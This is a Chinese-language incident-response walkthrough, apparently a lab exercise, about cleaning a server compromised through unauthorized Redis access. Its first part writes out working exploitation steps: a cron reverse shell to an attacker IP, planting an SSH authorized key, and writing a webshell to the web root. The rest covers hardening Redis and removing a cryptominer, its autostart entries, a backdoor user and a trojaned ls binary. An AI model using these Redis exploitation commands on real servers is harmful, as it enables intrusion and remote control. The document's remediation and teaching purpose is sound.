场景
有客户反馈其所使用的服务器近期突然网站打开特别慢,但是网站访问人数较前期并无明显变化,服务器CPU利用率较高。同时客户接到投诉反映通过搜索引擎搜索该网站点击后会跳转到博彩网站。请协助客户分析该服务器遭受何种攻击并恢复服务器正常运行。同时帮助客户清理恶意程序,阻止黑客再次入侵。
A:首先top看一下cpu内存占用情况
B:登录服务器先查看一下端口情况,发现开启了redis-server
并且可以看到redis-server监听在0.0.0.0:6379
C:查看是否存在redis未授权访问
redis-cli -h 192.168.52.135
查看redis版本信息、一些具体信息、服务器版本信息等等:info
查看所有键:KEYS *
可以看到redsi存在未授权访问
D:判断redsi是否为root权限
netstat -anptl
ps -aux| grep 30
发现redis是root用户启动的,且同时redis存在未授权访问
redis未授权一般利用方式有以下三种:
第一种:反弹shell
root@kali:~# redis-cli -h 192.168.52.135
192.168.52.135:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.52.128/2333 0>&1\n\n" //1分钟后执行计划任务
OK
192.168.52.135:6379> config set dir /var/spool/cron
OK
192.168.52.135:6379> config set dbfilename root
OK
192.168.52.135:6379> save
OK
可以看到成功写入计划任务
第二种:写ssh-keygen公钥,然后使用私钥登陆
在以下条件下,可以利用此方法
- Redis服务使用ROOT账号启动
- 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
首先在本地生成一对密钥:
ssh-keygen -t rsa
然后redis执行命令:
root@kali:~# redis-cli -h 192.168.52.135
192.168.52.135:6379> config set dir /root/.ssh/
OK
192.168.52.135:6379> config set dbfilename authorized_keys
OK
192.168.52.135:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiF1o01tlJug4myll3sN/z3IRABopXPAIQMYnCWYxxh7Ud3sLzsSv6sufKyKS3f6Hlrbv7/av0irgwFUHOXn1cBL79SnRvsKsbY3Gqlac+FUKF4BiuHsOOp1SZwJTbYPi1wsCsGpzIAv4FC9h5GuLMgn/XR9boPBd6RyyM+NM34k+so6M1DEY69hRdVm4mspOiBMRt8XDBSGu/daaQvAZQAeE0kmKv9GcAULD06WaEoth1+pRsQ3tIB6C+9dNZEa7ODTtL44mJUqWZVEINUylzJz+LgKw3NLGP/hr1xqoj2mllThCtJJe5axxkYkE1qSf7KFHsAlqtnBoGSrJn5cD9GaT5TVU9sUi289OCQVObpzboNJ6YYAlfoMCH8VSEg6On/NYUY4+qBQdLEPj9fC/XSAOnc0wK6RZ85P8tB1E5RC3JOvZhCjDWCKbuW/cue9ukm+cOY7gvbP1OcXWhFMxw/SI64zvdECyDH0QsdT82kTKVLcVdwunDjENy1TbbCGE= root@kali\n\n\n"
OK
192.168.52.135:6379> save
OK
save后可以直接利用公钥登录ssh
[root@kali:~# cd .ssh/
[root@kali:~/.ssh# ssh -i id_rsa root@192.168.52.135
第三种:向web路径写webshell
当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell
执行以下命令
root@kali:~# redis-cli -h 192.168.52.135
192.168.52.135:6379> config set dir /var/www/html/
OK
192.168.52.135:6379> config set dbfilename shell.php
OK
192.168.52.135:6379> set x ""
OK
192.168.52.135:6379> save
OK
http://172.17.0.2/shell.php
一般redis未授权修复:
- 限制登录ip
- 添加密码
- 修改默认端口
1、redis未授权修复
将redis服务改为监听本地,或为redis访问设置⼝令即可。
A:首先结束掉redis服务
B:修改监听地址为127.0.0.1
root@65c7d9159ef6:~# cat /etc/redis/redis.conf
修改redis配置⽂件 将/etc/redis/redis.conf中的 #bind 127.0.0.1 改为 bind 127.0.0.1
或 将/etc/redis/redis.conf中的 # requirepass foobared 改为 requirepass foobared
注:redis修改requirepass 参数 改密码
参考:https://www.cnblogs.com/ruozhisi/p/12199311.html
\1. 不重启redis如何配置密码?
a. 在配置文件中配置requirepass的密码(当redis重启时密码依然有效)。
# requirepass foobared -》 修改成 : requirepass 123
b. 进入redis重定义参数
查看当前的密码:
连接客户端:redis-cli
redis 127.0.0.1:6379>
redis 127.0.0.1:6379> config get requirepass
-
“requirepass”
-
(nil) 显示密码是空的
c. 然后设置密码:
redis 127.0.0.1:6379> config set requirepass 123
OK
d. 再次查询密码:
redis 127.0.0.1:6379> config get requirepass
(error) ERR operation not permitted
此时报错了!
现在只需要密码认证就可以了。
redis 127.0.0.1:6379> auth 123
OK
e. 再次查询密码:
redis 127.0.0.1:6379> config get requirepass
-
“requirepass”
-
“test123”
修改成功
C:修改完配置后重新启动redis服务
使⽤命令 redis-server /etc/redis/redis.conf 启动redis服务
可以看到配置文件已经生效,我们再来验证下
可以看到连接被拒绝,说明没有问题
2、使用非root用户启动redsi服务
使⽤⾮root⽤户运⾏redis服务即可。
A. 终⽌原redis进程
ps -ef|grep redis-server|awk '{print $2}'|xargs kill -9
B.:使⽤⾮root⽤户启动redis服务,如,通过init.d中的redis管理项启动
# 启动后redis-server的运⾏⽤户为redis:redis
root@65c7d9159ef6:~# cd /etc/init.d
root@65c7d9159ef6:/etc/init.d# ./redis-server start
3、挖矿进程清除
A:top
B.:查看进程清单找出CPU占⽤⾼的进程
root@65c7d9159ef6:~# ps -ef | grep mycoin
发现/usr/share/mycoin/mycoin文件运行时加载的json配置文件中包含矿池地址以及连接的用户名密码
root@65c7d9159ef6:~# cat /usr/share/mycoin/config.json
{
"threads":2, // number of miner threads
"pools": [
{
"url": "stratum+tcp://u1pool.com:18888", // URL of mining server
"user": "UP57on3ZKh6DDVUBv8d97awyrTfE8vXTF5.test01", // username for mining server
"pass": "x" // password for mining server
}
]
}
C:终⽌挖矿进程
4、Linux开机自启动排查
参考:https://www.cnblogs.com/shigfdengys/p/11169617.html
A:/etc/init.d/下的脚本
chkconfig --list | grep mycoin
参考:https://blog.csdn.net/jlq_diligence/article/details/80680492
B:/etc/rc.local
cat /etc/rc.local | grep mycoin
删除掉 /usr/share/mycoin/mycoin -c /usr/share/mycoin/config.json -B 内容即可
C:文件指向路径是/etc/init.d下的脚本文件
/etc/rc[0-6].d
D:设置程序的.desktop文件
program.desktop文件写法:
[Desktop Entry]
Name=program
Exec=/usr/bin/program
Type=Application
Comment=my program
E:crontab定时执行任务
周期执行的任务一般由cron这个守护进程来处理[ps -ef|grep cron]
cron的配置文件称为“crontab”,是“cron table”的简写
service crond start //启动服务
service crond stop //关闭服务
service crond restart //重启服务
service crond reload //重新载入配置
service crond status //查看服务状态
每两个小时
0 */2 * * * echo “Have a break now.” >> /tmp/test.txt
crontab -l //在标准输出上显示当前的c
crontab -r // 删除当前的crontab文件。
crontab -e //使用VISUAL或者EDITOR环境变量所指的编辑器编辑当前的crontab文件,当结束编辑离开时,编辑后的文件将自动安装。
顺着计划任务所指向的文件目录查找
发现挖矿程序和配置文件,但是发现没有相关进程,说明计划任务没有执行
删除上述挖矿程序和配置文件,删除计划任务
root@65c7d9159ef6:~# cd /etc/init.d
查看mine_srv文件内容,发现
PROG="mining"
PROG_PATH="/usr/local/sbin" ## Not need, but sometimes helpful (if $PROG resides in /opt for example).
PROG_ARGS="-c /etc/mine_srv/config.json -B"
分别查看以上几个路径,发现json文件为挖矿配置文件,但是无相关进程
删除以上可执行程序和配置文件
5、backdoor用户删除
在/etc/passwd中发现backdoor用户,但是删除是提示backdoor用户当前被进程1使用
userdel -f backdoor
因为我们现在是root用户,直接可以修改/etc/passwd和/etc/shadow
删掉backdoor用户
6、清除ls动态链接库后门
当执行ls命令时,发现提示“backdoor组已经存在”,猜测ls命令被更改了
先删除backdoor组,然后执行ls命令没有提示了,再次查看/etc/passwd,发现被添加了backdoor用户,说明/bin/ls ⽂件的动态链接库中被添加了后⻔程序
删除/bin/ls可执行文件,重新上传一个从其他服务器上提取的ls文件替换即可。
7、进入web目录下,清除上传的webshell
未完。。。
使用ldd ls可以查看该工具使用了哪些动态链接库
关于动态链接库后门的查找的一种思路是:通过遍历文件并比对可执行文件hash,来判断可执行文件是否被替换。